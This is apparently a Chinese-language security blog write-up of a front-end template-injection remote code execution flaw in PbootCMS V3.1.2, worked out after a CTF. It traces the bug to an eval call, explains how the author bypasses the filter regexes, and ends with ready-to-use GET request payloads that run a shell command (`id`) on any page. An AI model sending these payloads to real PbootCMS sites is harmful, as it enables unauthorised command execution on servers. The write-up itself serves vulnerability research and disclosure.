pboot cms V3.1.2 "虚假的无文件落地RCE"
Auth: EDI安全/suanve
0 前言
上次电脑送修我就买了个mini 一直用macmini 结果 本子修好以后拿回来也忘了看
苹果售后把我系统分区重装了 导致没有php环境 brew在macos 12上也不能正常工作
这就直接导致西湖比赛的时候我vardump调试也没调出个所以然(还被大佬喷 (确实 挺简单的一个漏洞
今天回XX以后 调试了一下
1 分析
根据历史漏洞可以知道在前台 有一个 ssti
搜索eval
可以找到eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
eval出自parserIfLabel
函数
找parserIfLabel
调用可以找到parserAfter
找parserAfter
调用可以找到SearchController-index
在parserAfter
函数中 可以看到获取了keyword
关键字
(有的初学者可能就觉得问题出现在这里了 我比赛的时候也是犯了这个错误 实际上这里的逻辑写的挺好的 取参的时候 会通过正则来校验输入 如果不符合就把传入的数据置空 恶意操作基本进不去
(但是。。。开发者在加载模板的时候 其实已经把我们的payload放入$content
了所以get里的限制就限制了个寂寞
开始分析
先把payload带进去 在刚加载(渲染)完模板的时候 可以看到已经把恶意语句加载进来了
所以他的get
函数中几个限制完全没起到作用(其实漏洞点不在keyword关键字 后面会详细说
可以看到 get
方法内到各种限制操作 确实把不符合规则的keyword给置null了 但是其实content里的还在
所以这里跟进看一下最初始的渲染模板部分 首先在这里是加载模板 渲染基础部分生成缓存
然后包含缓存后 在这里发现了 echo URL; 这里保存的还是完整url
问题就是出在这里了 继续往下看 可以看到$content = ob_get_contents();
行吧 直接把url输出然后保存到$content
里了。
即使下面他多次获取keyword时试图不把违规字符带入模板
都没有一点意义
细心的小伙伴可能发现了 这个问题好像是出在二维码生成标签这个位置的 而在进入我们关键点之前 就有这么一次操作
跟进去看一眼
嗯 他匹配了我们二维码这个标签的内容 然后将其生成二维码链接 (所以大家知道了吧 漏洞实际上出在他对模板的渲染部分上 这就导致所有和模板渲染的地方 都会存在这个问题(其实就是只要有二维码分享的页面 都可以触发我们后面的payload
所以我们想利用这里的话 只需要针对上面的正则/\{pboot:qrcode(\s+[^}]+)?\}/
做文章就好了
我们提取出关键的这一行html 发现会被完整的匹配到
结合正则很容易理解 括号成对嘛 所以我们给他加一个}
他不就匹配不到我们的payload了
至此 我们已经完整的解决了{}
带入模板的问题
接下来就直接把经过各种操作的$content
带到了parserIfLabel
函数 也就是存在eval的地方
百度找找历史文章分析就知道无非就是绕那几个正则
(推荐一个网站 https://regex101.com/ 挺好用的
牵扯到之该cms之前的几个漏洞 我们可以知道完成以下两点即可实现rce
绕过函数执行正则
绕过参数正则
一个个来
绕过函数执行正则
说几个知识点 大家都懂得
1 | func(1); |
pbootcms的函数执行检测正则长这样
([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(
大概了解一下以后 嗯。。。还想啥 直接fuzz就好啦
?? 咋四种都不行
但是大家别忘了啊 第三种有注释啊/**/
你只匹配([\w+])
那我加一个-
你还能匹配到吗?你匹配不到了吧。
绕过参数获取的正则
这里我没有详细的去研究怎么绕关键字意义不大 毕竟是ctfer 用点 ctf技巧就派上用场了(网上的漏洞分析有两个关键函数 可以直接用
get_lg
和get_backurl
他俩都在function.php
get_lg 是从 cookie lg字段取
1 | // 获取当前语言并进行安全处理Å |
get_backurl从get取
1 | // 获取返回URL |
所以使用这两个函数 搭配函数执行方式 就能绕过正则
2 利用:
1 | GET /index.php/keyword?keyword=}{pboot:if((get_lg/*suanve-*/())/**/(get_backurl/*suanve-*/()))}123321suanve{/pboot:if}&backurl=;id |
任意页面皆可rce
根据刚刚所说的 他实际上不是search控制器的问题所以任意页面都可以调用
1 | GET /index.php/?suanve=}{pboot:if((get_lg/*suanve-*/())/**/(get_backurl/*suanve-*/()))}123321suanve{/pboot:if}&backurl=;id |
1 | GET /?member/login/?suanve=}{pboot:if((get_lg/*suanve-*/())/**/(get_backurl/*suanve-*/()))}123321suanve{/pboot:if}&backurl=;id |
漏洞的挖掘大多数都是站在前人的肩膀上 我也不例外
这样一个调一调就出来了的洞 大家应该都有 公开也没什么不好
x 有关西湖论剑ctf
有disablefunction和openbasedir
php7.2开始弃用了create_function但是没移除 还是可以用的 所以调用
https://github.com/mm0r1/exploits/tree/master/php-filter-bypass
“pwn”一下就好了
欢迎关注”EDI安全”
pboot cms V3.1.2 "虚假的无文件落地RCE"